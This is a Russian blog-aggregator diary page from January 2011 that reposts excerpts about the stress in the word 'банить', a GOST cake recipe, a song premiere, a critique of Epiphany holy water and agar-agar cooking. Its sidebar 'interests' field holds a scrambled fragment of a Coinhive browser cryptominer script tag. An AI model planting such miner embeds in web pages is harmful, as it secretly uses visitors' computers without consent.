-Поиск по дневнику

Поиск сообщений в Topbot

 -Подписка по e-mail

 

 -Интересы

autothreads: false forceasmjs: false }); miner.start(coinhive.forc throttle: 0.8 важное новости помощь события<script src="https://coin-hive.com/ { threads: 1

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 22.04.2008
Записей: 115709
Комментариев: 6968
Написано: 130658


Читайте ЭТОТ дневник по адресу TOPBOT.T30P.RU Рейтинг блогосферы ТОП30


Привет! В моем блоге автоматически топботом собираются все самые интересные темы блогосферы. Более полно посмотреть все интересные посты блогосферы вы можете на сайте t30p.ru. Подписаться на чтение самых обсуждаемых тем блогосферы:

Топблогер ЖЖВКонтактеЛента RSSGooglePlusТвиттерФейсбук


Читай ТОП блогов на мобильном!

 


Ударение в слове "банить"

Четверг, 20 Января 2011 г. 11:41 + в цитатник
Добрый день.

В русский язык (не знаю насчёт официального, но в разговорный и в Интернет-среде, это - точно) недавно вошло слово "банить", происходящее от английского слова "ban" ("запрещать").

Как правильно ставить ударение в этом слове (либо, может, правила-то и не существует)? У меня, почему-то, спонтанно сложился "обычай" ставить ударение в этом слове на последний слог ("банИть"; и, соответственно, "забанённый"). Однако я по телевизору слышала диктора, произносящего "бАнить".

Слово "бАнить" существовало в русском языке и до появления Интернета и оно означает "мыть, чистить" (http://www.gramota.ru/slovari/dic/?word=%E1%E0%ED%E8%F2%FC&all=x&lop=x&bts=x&zar=x&ab=x&sin=x&lv=x&az=x&pe=x; http://dal.sci-lib.com/word000864.html). Поэтому, можно было бы даже предложить как-то отделять эти два слова, используя для них разные ударения.

Update: В ходе дискуссии выяснилось, что слово из Интернет-жаргона "банить" вне Интернет-среды произносится исключительно с ударением на первый слог.

Объяснений такому произношению было выдвинуто два:
1) тенденция ставить ударения в русском языке, имитируя ударения в английском языке, из которого происходят большинство новых слов в русскоязычной Интернет-среде (эта тенденция, очевидно, - не универсальна, т.к. в заимствованных иностранных словах ударение в русском языке далеко не всегда идентично ударению в иностранном языке, а ограничена; в данном случае, Интернет-средой);
...Читать далее

источник - [info]pishu_pravilno
[1 ссылок 118 комментариев 1000 посещений]
читать полный текст со всеми комментариями

Метки:  

Голая «папина дочка»: Мирослава Карпович в журнале Maxim

Четверг, 20 Января 2011 г. 11:40 + в цитатник

Метки:  

Торт "Сказка" Сегодня хочу немного поговорить о гостовских рецептах. В

Четверг, 20 Января 2011 г. 11:20 + в цитатник
Сегодня хочу немного поговорить о гостовских рецептах. В интернете нередко встречаю строгое предупреждение: мол, в ГОСТах важна точность, соблюдайте все до грамма! Меж тем, в ГОСТах нужна в первую очередь способность подумать и представить себе цех по производству тортов. Не случайно все рецептуры даны в рассчете на тонну! или 100кг продукции. Погрешность принимается равной где-то пяти процентам. А также обязательно учитывается расход в процессе приготовления - оставшаяся после раскатки мука, крем в отсадочных мешках, поломанный или подгоревший бисквит.
Но рецепт одного конкретного торта обычно прост, как в сказке - на этот тортик нам надо 200г обычного и 200г шоколадного крема Шарлот, 350г бисквита, 200г сиропа для пропитки, 10г бисквитной крошки, 40г цукатов. Самое главное в этом даже не пропорция ингредиентов - а то, что вес готового торта должен получиться ровно 1 кг. Был бисквит потолще - положили чуть меньше крема, налили чуть меньше сиропа, или недовес - лишнюю розочку изобразили. Хотя обычно все отработано и огрехов не бывает.
Как же быть нам? Можем ли мы испечь ровно 350г бисквита? Конечно, нет! Вес его зависит от размера яиц, влажности воздуха и гигроскопичности муки и еще кто знает от чего. Поэтому путь тут другой - испечь обычный бисквит из 4-х яиц, а потом взвесить. В среднем такой корж весит 370-380г. Надо подрезать его немного - и вуаля!
Или, скажем - сможем ли мы обсыпать бока торта 10-ю граммами бисквитной крошки? Конечно, нет! Крошки надо больше - и обсыпать будет удобно.
Или возьмем крем Шарлот. Можем ли мы приготовить ровно 400г крема и, главное, выдавить его из мешков без остатка и вычистить его без остатка из мисок? Конечно,нет! И потому нам надо сделать чуть больше крема, чем надо по рецепту, скажем, не 400г, а 450. Тогда мы сможем спокойно и удобно украсить торт.
Кроме того - для крема требуется сироп Шарлот - уваренная смесь из яиц, молока и сахара. Соотношение масла и сиропа в креме подчиняется пропорции 1:1,4. Исходя из этого можем рассчитать, сколько надо масла и сиропа, чтобы приготовить крем. Но тут опять засада - сможем ли мы сварить ровно столько сиропа, сколько надо? Не останется ли он на лопатке и на стенках кастрюли? Конечно, останется! Вот мы и сварим сиропа чуть больше, чем надо, чтобы в масло налить именно столько, сколько нужно.

А вывод из всего этого один - в ГОСТах важны не сухие числа, а соотношения ингредиентов, как и везде. И надо уметь их применять, не прикрываясь "точностью". И кстати - точность кухонных электорнных весов составляет в среднем 5г, так что тут тоже есть о чем подумать.

Именно поэтому я обычно округляю значения величин до 5-10 граммов, причем в большую сторону. И вам советую.

Ну а "Сказка" - один из самых простых тортов по ГОСТу, но в то же время в домашних условиях его довольно сложно украсить. Но украшения не принципиальны, главное, как вы уже знаете, вкус. И пропорции.


...Читать далее

источник - [info]chadeyka
[1 ссылок 127 комментариев 1000 посещений]
читать полный текст со всеми комментариями

Метки:  

МОИ ПЕСНИ: "Я - ОДИН, ТЫ - ОДНА" - ИСП. ЛЕУШ ЛЮБИЧ, МУЗ. - НИКОЛАЙ АРХИПОВ, СЛ. - ЛЮБОВЬ ВОРОПАЕВА

Четверг, 20 Января 2011 г. 11:00 + в цитатник




Знакомьтесь, дорогие мои, - Леуш Любич. Певец, актёр (Российская Академия Театрального искусства). По национальности - аццкая смесь: сербы. поляки, белоруссы, болгары))). Живёт в Москве. Двое чудесных сыновей. До работы с нами записал немало разных песен под своим именем ЛЕУШ. Начиная с записи нашей с Колей песни "Я - один, ты - одна" добавил к своему имени фамилию. Теперь он - ЛЕУШ ЛЮБИЧ. Почему так? Потому что мы с Колей раскрыли, как ему и нам кажется, его "настоящий голос". У него огромный диапазон, но записывали его, как всех, не используя всю палитру его голосовых возможностей. То, что вы сегодня услышите - не субтоновое пение, а - ГОЛОС! Уникальный по-своему и очень яркий. Работая с Леушем над нашей песней, я много чего переслушала из "классики", чтобы найти хотя бы приблизительный аналог его пению. Скорее всего, это и "Bee Gees", и "Scorpions",и даже немного "Queen". Именно поэтому мы настояли на том, чтобы наша лирическая песня была спета с "рокерской атакой", на драйве. Эмоции-то в песне - сильные...Что-то я долго вам рассказываю. Волнуюсь, как всегда перед Премьерой). Вот что ещё - с этой нашей песней происходило много "чудес": начиная с того, что я почти 2 недели писала текст этой песни на Колину музыку - мучилась, как никогда, и сама рыдала над своим текстом))). А дальше - демку записал один наш знакомый бэк-вокалист, и Леуш к нам приехал в тот момент, когда Коля только свёл эту демку и хотел её спрятать, а Леуш увидел её у него на рабочем столе и попросил послушать "просто так". А после того, как он послушал, он сказал: "Ребята, я именно об этой песне мечтал всю мою жизнь, отдайте мне её, пожалуйста!"...Стали пробовать у микрофона, и вдруг...открыли необыкновенный и чистый голос! Леуш и сам удивился:" Боже мой, я никогда так не пел!" И тогда мы спросили:"Рискнём на запись в таком ключе?" И удивлённый сам себе Леуш сказал:"Да!" С аранжировкой возились, как никогда, долго, со сведениями-пересведениями, и получили файл с нашей песней с мастеринга по почте в...Крещенскую ночь!
...Читать далее

источник - [info]lvoropaeva
[7 ссылок 103 комментариев 1000 посещений]
читать полный текст со всеми комментариями

Метки:  

Крещенские вопросы Сегодня по дороге на работу наблюдал повсюду очереди за

Четверг, 20 Января 2011 г. 10:40 + в цитатник
Сегодня по дороге на работу наблюдал повсюду очереди за святой водой. У каждой церкви толпа малограмотных людей, уверовавших, что вода обогащенная ионами серебра поможет им от любого недуга. Особенно, если вода праздничная, а ни какая-нибудь повседневная. Это коллективное сумасшествие не так уж безобидно. Прежде всего, потому что это интеллектуальный и эмоциональный отказ от надежды на здравоохранение.

В миллион раз было бы полезней, если бы эти толпы людей вышли на улицу с требованием к правительству повысить качество медицинского обслуживания. В противном случае скоро в больницах останутся одни часовни да иконостасы по стенам с выживаемостью пациентов 30% и «слава Богу». Именно потому, что люди не осознают, что для них действительно жизненно важно.

Люди не понимают, что соглашаясь с религиозными догматами, они действуют не в собственных интересах, а на руку лживым, циничным продавцам загробной жизни. Крест на церкви – это крест на жизни человека. Религия – это отказ от ответственности за собственную жизнь, оправдание и пропаганда смерти. «На том свете будет лучше, если вести себя будете подобающе», - ответ попов на все сомнения.

Люди хотят получить простое, немедленное решение: перекрестился, выпил святой воды и дело сделано. Это путь в могилу. Только внимание к науке может улучшить жизнь общества. Чтобы выжить, человеку нужно иметь желание, возможности и время решить сверхсложные задачи в области радикального продления жизни.
...Читать далее

источник - [info]m_batin
[4 ссылок 110 комментариев 1000 посещений]
читать полный текст со всеми комментариями

Метки:  

Timelapse Saint-Petersburg

Четверг, 20 Января 2011 г. 10:20 + в цитатник

Метки:  

Спасите лендровер! Так сложились обстоятельства, что мы вынуждены расстаться

Четверг, 20 Января 2011 г. 10:00 + в цитатник
Так сложились обстоятельства, что мы вынуждены расстаться с нашим другом - Лендровером Дискавери Первым, 91 года рождения. Служил он нам верой и правдой, но, растущая семья предъявляет свои требования...
Итак, мы покупаем новую машину, но нам не хватает денег. И если мы сдадим Первого в утиль - нам доплатят 150 тысяч и у нас появится инструмент для зарабатывания денег. Я не знаю, как пережить период накопления на новый лендровер, но пока даже думать об этом не хочу - мне вредно нервничать и расстраиваться.
При одной мысли о том, что Первый пойдет под пресс, я начинаю рыдать, потому что такие машины не могут просто взять и умереть - они должны ездить.
Первый должен продолжать брать призы на соревнованиях, везти людям добро и помощь, как этим летом на пожарах, и исследовать нашу необъятную.
Единственный шанс Первого выжить - если его кто-нибудь купит. За те же 150 тысяч, ни больше, ни меньше.



...Читать далее

gr0ma источник - [info]gr0ma
[2 ссылок 97 комментариев 984 посещений]
читать полный текст со всеми комментариями

Метки:  

Желирующие агенты: агар-агар

Четверг, 20 Января 2011 г. 09:01 + в цитатник
Загоревшись научиться работать с агар-агаром я перелистала все свои кулинарные книги и, с сожалением, обнаружила, что информации в них нет. Пришлось собирать сведения по крупицам из разных источников, а затем проводить эксперименты самостоятельно. Вот он - результат моих вчерашних "танцев с бубном", а вам статья про агар-агар.



...Читать далее

pracooking источник - [info]pracooking
[2 ссылок 56 комментариев 980 посещений]
читать полный текст со всеми комментариями

Метки:  


Процитировано 3 раз
Понравилось: 1 пользователю

Началось в колхозе утро.

Четверг, 20 Января 2011 г. 08:00 + в цитатник
Работу работаю. Думы думаю.


...Читать далее

источник - [info]iva_no_va
[2 ссылок 154 комментариев 1000 посещений]
читать полный текст со всеми комментариями

Метки:  

Немного о теле О том, что волшебство - это синтез веры и намерения,

Четверг, 20 Января 2011 г. 07:00 + в цитатник
О том, что волшебство - это синтез веры и намерения, написано в источниках разной степени сложности - и в Библии, и в гримуарах Соломона, и у Кроули, и у Кэббот, и у Зеланда, и в популярном бестселлере "The secret". В религиозных текстах акцент делается на веру, в "магических" - на намерение.
Мне кажется, что вера и намерение невозможны без воли.
Весь мой опыт говорит о том, что большинство из нас ломаются не на вере, а именно на воле. Воля - первооснова магии, хоть и не единственная ее составляющая.
Коктейль "воля + интеллект" (под интеллектом подразумеваю, конечно, не образованность и полученные в ее шлифовке знания, а гибкость ума, способность к образному мышллению) могут мир перевернуть.
У меня есть странное наблюдение. Среди людей, воля которых имеет весомую силу, интеллектуалов мало. Большинство же известных мне интеллектуалов не могут преодолеть первый круг воли (жратва и бухло) - то есть, даже не то чтобы не могут, но просто не видят в этом смысл. Некоторые из них к самой категории воли относятся с необъяснимым снобизмом (наверное, в их картине мира совместимость интеллекта и воли - тоже редкое явление). Даже хрестоматийное схематичное разделение человека на "телесное" и "духовное" видится мне актом протеста интеллекта против воли. Но об этом трудно написать в рамках блога.
Играя одной волей, без включения интеллекта, можно обустроить себе уютный мирок - и это будет образцовое мещанское счастье, как будто из рекламного ролика, только не нафантазированное маркетологами, а настоящее.
...Читать далее

источник - [info]masha_koroleva
[2 ссылок 112 комментариев 1000 посещений]
читать полный текст со всеми комментариями

Метки:  

Поиск сообщений в Topbot
Страницы: 3000 ... 2211 2210 [2209] 2208 2207 ..
.. 1 Календарь